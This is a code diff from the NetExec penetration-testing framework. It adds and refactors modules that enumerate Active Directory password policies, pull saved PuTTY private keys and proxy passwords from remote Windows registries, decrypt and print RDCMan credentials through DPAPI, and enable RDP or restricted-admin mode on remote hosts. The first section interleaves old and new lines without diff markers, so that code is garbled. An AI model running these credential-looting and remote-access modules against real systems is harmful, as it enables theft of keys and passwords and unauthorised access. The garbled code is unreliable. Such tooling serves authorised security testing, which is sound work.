value = f"{int((fabs(float(value)) / (10000000 * time_fields[field][0])))} {time_fields[field][1]}"
|
||||
|
||||
return value
|
||||
|
||||
def on_login(self, context, connection):
|
||||
'''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
|
||||
# Building the search filter
|
||||
searchFilter = "(objectClass=msDS-PasswordSettings)"
|
||||
# Are there even any FGPPs?
|
||||
context.log.success("Attempting to enumerate policies...")
|
||||
resp = connection.ldapConnection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
|
||||
if len(resp) > 1:
|
||||
context.log.highlight(f"{len(resp) - 1} PSO Objects found!")
|
||||
context.log.highlight("")
|
||||
context.log.success("Attempting to enumerate objects with an applied policy...")
|
||||
|
||||
try:
|
||||
context.log.debug('Search Filter=%s' % searchFilter)
|
||||
resp = connection.ldapConnection.search(searchFilter=searchFilter,
|
||||
attributes=self.pso_fields,
|
||||
sizeLimit=0)
|
||||
except ldap_impacket.LDAPSearchError as e:
|
||||
if e.getErrorString().find('sizeLimitExceeded') >= 0:
|
||||
context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
|
||||
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
||||
# paged queries
|
||||
resp = e.getAnswers()
|
||||
pass
|
||||
else:
|
||||
logging.debug(e)
|
||||
return False
|
||||
|
||||
pso_list = []
|
||||
|
||||
context.log.debug('Total of records returned %d' % len(resp))
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
# Who do they apply to?
|
||||
resp = connection.search(searchFilter="(objectclass=*)", attributes=["DistinguishedName", "msDS-PSOApplied"])
|
||||
for attrs in resp:
|
||||
if isinstance(attrs, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
for attr in attrs["attributes"]:
|
||||
if str(attr["type"]) in "msDS-PSOApplied":
|
||||
context.log.highlight(f"Object: {attrs['objectName']}")
|
||||
context.log.highlight("Applied Policy: ")
|
||||
for value in attr["vals"]:
|
||||
context.log.highlight(f"\t{value}")
|
||||
context.log.highlight("")
|
||||
|
||||
pso_info = {}
|
||||
# Let"s find out even more details!
|
||||
context.log.success("Attempting to enumerate details...\n")
|
||||
resp = connection.search(searchFilter="(objectclass=msDS-PasswordSettings)",
|
||||
attributes=["name", "msds-lockoutthreshold", "msds-psoappliesto", "msds-minimumpasswordlength",
|
||||
"msds-passwordhistorylength", "msds-lockoutobservationwindow", "msds-lockoutduration",
|
||||
"msds-passwordsettingsprecedence", "msds-passwordcomplexityenabled", "Description",
|
||||
"msds-passwordreversibleencryptionenabled", "msds-minimumpasswordage", "msds-maximumpasswordage"])
|
||||
for attrs in resp:
|
||||
if not isinstance(attrs, ldapasn1_impacket.SearchResultEntry):
|
||||
continue
|
||||
policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, obersationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
|
||||
for attr in attrs["attributes"]:
|
||||
if str(attr["type"]) == "name":
|
||||
policyName = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-LockoutThreshold":
|
||||
lockoutThreshold = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-MinimumPasswordLength":
|
||||
passwordLength = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-PasswordHistoryLength":
|
||||
passwordhistorylength = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-LockoutObservationWindow":
|
||||
observationWindow = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-LockoutDuration":
|
||||
lockoutDuration = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-PasswordSettingsPrecedence":
|
||||
precedence = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-PasswordComplexityEnabled":
|
||||
complexity = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-PasswordReversibleEncryptionEnabled":
|
||||
reverseibleEncryption = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-MinimumPasswordAge":
|
||||
minPassAge = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-MaximumPasswordAge":
|
||||
maxPassAge = attr["vals"][0]
|
||||
elif str(attr["type"]) == "description":
|
||||
description = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-PSOAppliesTo":
|
||||
policyApplies = ""
|
||||
for value in attr["vals"]:
|
||||
policyApplies += f"{value};"
|
||||
context.log.highlight(f"Policy Name: {policyName}")
|
||||
if description:
|
||||
context.log.highlight(f"Description: {description}")
|
||||
context.log.highlight(f"Minimum Password Length: {passwordLength}")
|
||||
context.log.highlight(f"Minimum Password History Length: {passwordhistorylength}")
|
||||
context.log.highlight(f"Lockout Threshold: {lockoutThreshold}")
|
||||
context.log.highlight(f"Observation Window: {mins(observationWindow)}")
|
||||
context.log.highlight(f"Lockout Duration: {mins(lockoutDuration)}")
|
||||
context.log.highlight(f"Complexity Enabled: {complexity}")
|
||||
context.log.highlight(f"Minimum Password Age: {days(minPassAge)}")
|
||||
context.log.highlight(f"Maximum Password Age: {days(maxPassAge)}")
|
||||
context.log.highlight(f"Reversible Encryption: {reverseibleEncryption}")
|
||||
context.log.highlight(f"Precedence: {precedence} (Lower is Higher Priority)")
|
||||
context.log.highlight("Policy Applies to:")
|
||||
for value in str(policyApplies)[:-1].split(";"):
|
||||
if value:
|
||||
context.log.highlight(f"\t{value}")
|
||||
context.log.highlight("")
|
||||
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
attr_name = str(attribute['type'])
|
||||
if attr_name in self.pso_fields:
|
||||
pso_info[attr_name] = attribute['vals'][0]._value.decode('utf-8')
|
||||
|
||||
pso_list.append(pso_info)
|
||||
def days(ldap_time):
|
||||
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
|
||||
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
|
||||
pass
|
||||
if len(pso_list) > 0:
|
||||
context.log.success('Password Settings Objects (PSO) found:')
|
||||
for pso in pso_list:
|
||||
for field in self.pso_fields:
|
||||
if field in pso:
|
||||
value = self.convert_time_field(field, pso[field])
|
||||
context.log.highlight(u'{}: {}'.format(field, value))
|
||||
context.log.highlight('-----')
|
||||
|
||||
else:
|
||||
context.log.info('No Password Settings Objects (PSO) found.')
|
||||
def mins(ldap_time):
|
||||
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"
|
||||
@@ -0,0 +1,221 @@
|
||||
from datetime import datetime
|
||||
from io import BytesIO
|
||||
import traceback
|
||||
from urllib.parse import unquote
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from os import makedirs
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.paths import NXC_PATH
|
||||
import re
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @NeffIsBack"""
|
||||
|
||||
name = "putty"
|
||||
description = "Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
self.rrp = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def get_logged_on_users(self):
|
||||
"""Enumerate all logged in and loaded Users on System"""
|
||||
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
|
||||
# Get User Names
|
||||
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
# Filter legit users in regex
|
||||
user_objects.remove(".DEFAULT")
|
||||
regex = re.compile(r"^.*_Classes$")
|
||||
return [i for i in user_objects if not regex.match(i)]
|
||||
|
||||
def get_all_users(self):
|
||||
"""Get all users that have logged in at some point in time"""
|
||||
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
|
||||
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
|
||||
# Get User Names
|
||||
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
return user_objects
|
||||
|
||||
def sid_to_name(self, all_users):
|
||||
"""Convert SID to Usernames for better readability"""
|
||||
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
|
||||
user_dict = {}
|
||||
for user_object in all_users:
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
|
||||
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
user_dict[user_object] = user_profile_path.split("\\")[-1]
|
||||
return user_dict
|
||||
|
||||
def load_missing_users(self, unloaded_user_objects):
|
||||
"""Load missing users into registry to access their registry keys."""
|
||||
for user_object in unloaded_user_objects:
|
||||
# Extract profile Path of NTUSER.DAT
|
||||
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
|
||||
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
# Load Profile
|
||||
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
|
||||
self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
|
||||
rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
def unload_missing_users(self, unloaded_user_objects):
|
||||
"""If some user were not logged in at the beginning we unload them from registry."""
|
||||
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
|
||||
for user_object in unloaded_user_objects:
|
||||
self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
|
||||
try:
|
||||
rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
|
||||
self.context.log.debug(traceback.format_exc())
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
def get_private_key_paths(self, all_users):
|
||||
"""Get all private key paths for all users"""
|
||||
sessions = []
|
||||
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
|
||||
for user in all_users:
|
||||
try:
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions")["phkResult"]
|
||||
reg_sessions = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
self.context.log.info(f'Found {reg_sessions} sessions for user "{self.user_dict[user]}" in registry!')
|
||||
|
||||
# Get Session Names
|
||||
session_names = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(reg_sessions)]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
# Extract stored Session infos
|
||||
for session_name in session_names:
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions\\{session_name}")["phkResult"]
|
||||
|
||||
# Get private Key Path
|
||||
private_key_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PublicKeyFile")[1].split("\x00")[:-1][0]
|
||||
proxy_host = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyHost")[1].split("\x00")[:-1][0]
|
||||
proxy_port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPort")[1]
|
||||
proxy_username = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyUsername")[1].split("\x00")[:-1][0]
|
||||
proxy_password = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPassword")[1].split("\x00")[:-1][0]
|
||||
|
||||
# Session infos
|
||||
hostname = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0]
|
||||
port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PortNumber")[1]
|
||||
protocol = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "Protocol")[1].split("\x00")[:-1][0]
|
||||
sessions.append({
|
||||
"user": self.user_dict[user],
|
||||
"session_name": unquote(session_name),
|
||||
"hostname": hostname,
|
||||
"port": port,
|
||||
"protocol": protocol,
|
||||
"private_key_path": private_key_path,
|
||||
"proxy_host": proxy_host,
|
||||
"proxy_port": proxy_port,
|
||||
"proxy_username": proxy_username,
|
||||
"proxy_password": proxy_password
|
||||
})
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
self.context.log.debug(f"No PuTTY session config found in registry for user {self.user_dict[user]}")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Unexpected error: {e}")
|
||||
self.context.log.debug(traceback.format_exc())
|
||||
return sessions
|
||||
|
||||
def extract_session(self, sessions):
|
||||
proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
for session in sessions:
|
||||
if session["private_key_path"]:
|
||||
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
|
||||
share = session["private_key_path"].split(":")[0] + "$"
|
||||
file_path = session["private_key_path"].split(":")[1]
|
||||
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec".replace(":", "-")
|
||||
|
||||
buf = BytesIO()
|
||||
with open(download_path, "wb") as file:
|
||||
try:
|
||||
self.connection.conn.getFile(share, file_path, buf.write)
|
||||
except Exception as e:
|
||||
if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") != -1:
|
||||
self.context.log.fail(f"Private key path found but file not found: {share + file_path}")
|
||||
else:
|
||||
self.context.log.exception(f"Error downloading private key: {e}")
|
||||
continue
|
||||
file.write(buf.getvalue())
|
||||
self.context.log.success(f"Private key found for user \"{session['user']}\", saved to {highlight(download_path)}")
|
||||
self.context.log.highlight(f"Sessionname: {session['session_name']}")
|
||||
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
|
||||
self.context.log.highlight(f"Protocol: {session['protocol']}")
|
||||
if session["proxy_password"]:
|
||||
self.context.log.success(f"Found proxy credentials for user \"{session['user']}\"")
|
||||
self.context.log.highlight(f"Sessionname: {session['session_name']}")
|
||||
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
|
||||
self.context.log.highlight(f"Protocol: {session['protocol']}")
|
||||
self.context.log.highlight(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}")
|
||||
self.context.log.highlight(f"Proxy Username: {session['proxy_username']}")
|
||||
self.context.log.highlight(f"Proxy Password: {session['proxy_password']}")
|
||||
with open(proxycreds_file, "a") as f:
|
||||
f.write("================\n")
|
||||
f.write(f"User: {session['user']}\n")
|
||||
f.write(f"Sessionname: {session['session_name']}\n")
|
||||
f.write(f"Host: {session['hostname']}:{session['port']}\n")
|
||||
f.write(f"Protocol: {session['protocol']}\n")
|
||||
f.write(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}\n")
|
||||
f.write(f"Proxy Username: {session['proxy_username']}\n")
|
||||
f.write(f"Proxy Password: {session['proxy_password']}\n")
|
||||
self.context.log.display(f"Proxy credentials saved to {highlight(proxycreds_file)}")
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.connection = connection
|
||||
self.context = context
|
||||
|
||||
try:
|
||||
self.rrp = RemoteOperations(connection.conn, connection.kerberos)
|
||||
self.rrp.enableRegistry()
|
||||
|
||||
all_users = self.get_all_users()
|
||||
loaded_user_objects = self.get_logged_on_users()
|
||||
self.user_dict = self.sid_to_name(all_users)
|
||||
|
||||
# Users which must be loaded into registry:
|
||||
unloaded_user_objects = list(set(all_users).symmetric_difference(set(loaded_user_objects)))
|
||||
self.load_missing_users(unloaded_user_objects)
|
||||
|
||||
sessions = self.get_private_key_paths(all_users)
|
||||
if sessions:
|
||||
self.extract_session(sessions)
|
||||
else:
|
||||
self.context.log.info("No saved putty sessions found in registry")
|
||||
|
||||
self.unload_missing_users(unloaded_user_objects)
|
||||
except Exception as e:
|
||||
context.log.exception(f"Error: {e}")
|
||||
finally:
|
||||
self.rrp.finish()
|
||||
+16
-73
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from dploot.triage.rdg import RDGTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
@@ -26,11 +23,11 @@ class NXCModule:
|
||||
self.masterkeys = None
|
||||
|
||||
if "PVK" in module_options:
|
||||
self.pvkbytes = open(module_options["PVK"], "rb").read()
|
||||
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
|
||||
|
||||
if "MKFILE" in module_options:
|
||||
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
|
||||
self.pvkbytes = open(module_options["MKFILE"], "rb").read()
|
||||
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
@@ -67,8 +64,7 @@ class NXCModule:
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
self.pvkbytes = backupkey.backupkey_v2
|
||||
except Exception as e:
|
||||
context.log.debug("Could not get domain backupkey: {}".format(e))
|
||||
pass
|
||||
context.log.debug(f"Could not get domain backupkey: {e}")
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
@@ -89,7 +85,7 @@ class NXCModule:
|
||||
conn = DPLootSMBConnection(target)
|
||||
conn.smb_session = connection.conn
|
||||
except Exception as e:
|
||||
context.log.debug("Could not upgrade connection: {}".format(e))
|
||||
context.log.debug(f"Could not upgrade connection: {e}")
|
||||
return
|
||||
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
|
||||
@@ -107,16 +103,17 @@ class NXCModule:
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem={},
|
||||
)
|
||||
self.masterkeys = masterkeys_triage.triage_masterkeys()
|
||||
except Exception as e:
|
||||
context.log.debug("Could not get masterkeys: {}".format(e))
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success("Got {} decrypted masterkeys. Looting RDCMan secrets".format(highlight(len(self.masterkeys))))
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
|
||||
|
||||
try:
|
||||
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
|
||||
@@ -125,71 +122,17 @@ class NXCModule:
|
||||
if rdcman_file is None:
|
||||
continue
|
||||
for rdg_cred in rdcman_file.rdg_creds:
|
||||
if rdg_cred.type == "cred":
|
||||
context.log.highlight(
|
||||
"[%s][%s] %s:%s"
|
||||
% (
|
||||
rdcman_file.winuser,
|
||||
rdg_cred.profile_name,
|
||||
rdg_cred.username,
|
||||
rdg_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
elif rdg_cred.type == "logon":
|
||||
context.log.highlight(
|
||||
"[%s][%s] %s:%s"
|
||||
% (
|
||||
rdcman_file.winuser,
|
||||
rdg_cred.profile_name,
|
||||
rdg_cred.username,
|
||||
rdg_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
elif rdg_cred.type == "server":
|
||||
context.log.highlight(
|
||||
"[%s][%s] %s - %s:%s"
|
||||
% (
|
||||
rdcman_file.winuser,
|
||||
rdg_cred.profile_name,
|
||||
rdg_cred.server_name,
|
||||
rdg_cred.username,
|
||||
rdg_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
if rdg_cred.type in ["cred", "logon", "server"]:
|
||||
log_text = "{} - {}:{}".format(rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode("latin-1")) if rdg_cred.type == "server" else "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
|
||||
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
|
||||
for rdgfile in rdgfiles:
|
||||
if rdgfile is None:
|
||||
continue
|
||||
for rdg_cred in rdgfile.rdg_creds:
|
||||
if rdg_cred.type == "cred":
|
||||
context.log.highlight(
|
||||
"[%s][%s] %s:%s"
|
||||
% (
|
||||
rdgfile.winuser,
|
||||
rdg_cred.profile_name,
|
||||
rdg_cred.username,
|
||||
rdg_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
elif rdg_cred.type == "logon":
|
||||
context.log.highlight(
|
||||
"[%s][%s] %s:%s"
|
||||
% (
|
||||
rdgfile.winuser,
|
||||
rdg_cred.profile_name,
|
||||
rdg_cred.username,
|
||||
rdg_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
elif rdg_cred.type == "server":
|
||||
context.log.highlight(
|
||||
"[%s][%s] %s - %s:%s"
|
||||
% (
|
||||
rdgfile.winuser,
|
||||
rdg_cred.profile_name,
|
||||
rdg_cred.server_name,
|
||||
rdg_cred.username,
|
||||
rdg_cred.password.decode("latin-1"),
|
||||
)
|
||||
)
|
||||
log_text = "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
|
||||
if rdg_cred.type == "server":
|
||||
log_text = f"{rdg_cred.server_name} - {log_text}"
|
||||
context.log.highlight(f"[{rdgfile.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
except Exception as e:
|
||||
context.log.debug("Could not loot RDCMan secrets: {}".format(e))
|
||||
context.log.debug(f"Could not loot RDCMan secrets: {e}")
|
||||
+130
-134
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from sys import exit
|
||||
|
||||
from nxc.connection import dcom_FirewallChecker
|
||||
@@ -11,12 +8,13 @@ from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
import contextlib
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "rdp"
|
||||
description = "Enables/Disables RDP"
|
||||
supported_protocols = ["smb" ,"wmi"]
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
@@ -35,7 +33,7 @@ class NXCModule:
|
||||
nxc smb 192.168.1.1 -u {user} -p {password} -M rdp -o METHOD=smb ACTION={enable, disable, enable-ram, disable-ram}
|
||||
nxc smb 192.168.1.1 -u {user} -p {password} -M rdp -o METHOD=wmi ACTION={enable, disable, enable-ram, disable-ram} {OLD=true} {DCOM-TIMEOUT=5}
|
||||
"""
|
||||
if not "ACTION" in module_options:
|
||||
if "ACTION" not in module_options:
|
||||
context.log.fail("ACTION option not specified!")
|
||||
exit(1)
|
||||
|
||||
@@ -44,26 +42,26 @@ class NXCModule:
|
||||
exit(1)
|
||||
|
||||
self.action = module_options["ACTION"].lower()
|
||||
|
||||
if not "METHOD" in module_options:
|
||||
|
||||
if "METHOD" not in module_options:
|
||||
self.method = "wmi"
|
||||
else:
|
||||
self.method = module_options['METHOD'].lower()
|
||||
|
||||
self.method = module_options["METHOD"].lower()
|
||||
|
||||
if context.protocol != "smb" and self.method == "smb":
|
||||
context.log.fail(f"Protocol: {context.protocol} not support this method")
|
||||
exit(1)
|
||||
|
||||
if not "DCOM-TIMEOUT" in module_options:
|
||||
if "DCOM-TIMEOUT" not in module_options:
|
||||
self.dcom_timeout = 10
|
||||
else:
|
||||
try:
|
||||
self.dcom_timeout = int(module_options['DCOM-TIMEOUT'])
|
||||
except:
|
||||
self.dcom_timeout = int(module_options["DCOM-TIMEOUT"])
|
||||
except Exception:
|
||||
context.log.fail("Wrong DCOM timeout value!")
|
||||
exit(1)
|
||||
|
||||
if not "OLD" in module_options:
|
||||
|
||||
if "OLD" not in module_options:
|
||||
self.oldSystem = False
|
||||
else:
|
||||
self.oldSystem = True
|
||||
@@ -73,136 +71,131 @@ class NXCModule:
|
||||
if self.method == "smb":
|
||||
context.log.info("Executing over SMB(ncacn_np)")
|
||||
try:
|
||||
smb_rdp = rdp_SMB(context, connection)
|
||||
smb_rdp = RdpSmb(context, connection)
|
||||
if "ram" in self.action:
|
||||
smb_rdp.rdp_RAMWrapper(self.action)
|
||||
smb_rdp.rdp_ram_wrapper(self.action)
|
||||
else:
|
||||
smb_rdp.rdp_Wrapper(self.action)
|
||||
smb_rdp.rdp_wrapper(self.action)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Enable RDP via smb error: {str(e)}")
|
||||
context.log.fail(f"Enable RDP via smb error: {e!s}")
|
||||
elif self.method == "wmi":
|
||||
context.log.info("Executing over WMI(ncacn_ip_tcp)")
|
||||
|
||||
wmi_rdp = rdp_WMI(context, connection, self.dcom_timeout)
|
||||
wmi_rdp = RdpWmi(context, connection, self.dcom_timeout)
|
||||
|
||||
if hasattr(wmi_rdp, '_rdp_WMI__iWbemLevel1Login'):
|
||||
if hasattr(wmi_rdp, "_RdpWmi__iWbemLevel1Login"):
|
||||
if "ram" in self.action:
|
||||
# Nt version under 6 not support RAM.
|
||||
try:
|
||||
wmi_rdp.rdp_RAMWrapper(self.action)
|
||||
wmi_rdp.rdp_ram_wrapper(self.action)
|
||||
except Exception as e:
|
||||
if "WBEM_E_NOT_FOUND" in str(e):
|
||||
context.log.fail("System version under NT6 not support restricted admin mode")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
wmi_rdp.rdp_Wrapper(self.action, self.oldSystem)
|
||||
wmi_rdp.rdp_wrapper(self.action, self.oldSystem)
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
context.log.fail('Looks like target system version is under NT6, please add "OLD=true" in module options.')
|
||||
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
pass
|
||||
wmi_rdp._rdp_WMI__dcom.disconnect()
|
||||
wmi_rdp._RdpWmi__dcom.disconnect()
|
||||
|
||||
class rdp_SMB:
|
||||
|
||||
class RdpSmb:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.__smbconnection = connection.conn
|
||||
self.__execute = connection.execute
|
||||
self.logger = context.log
|
||||
|
||||
def rdp_Wrapper(self, action):
|
||||
remoteOps = RemoteOperations(self.__smbconnection, False)
|
||||
remoteOps.enableRegistry()
|
||||
def rdp_wrapper(self, action):
|
||||
remote_ops = RemoteOperations(self.__smbconnection, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
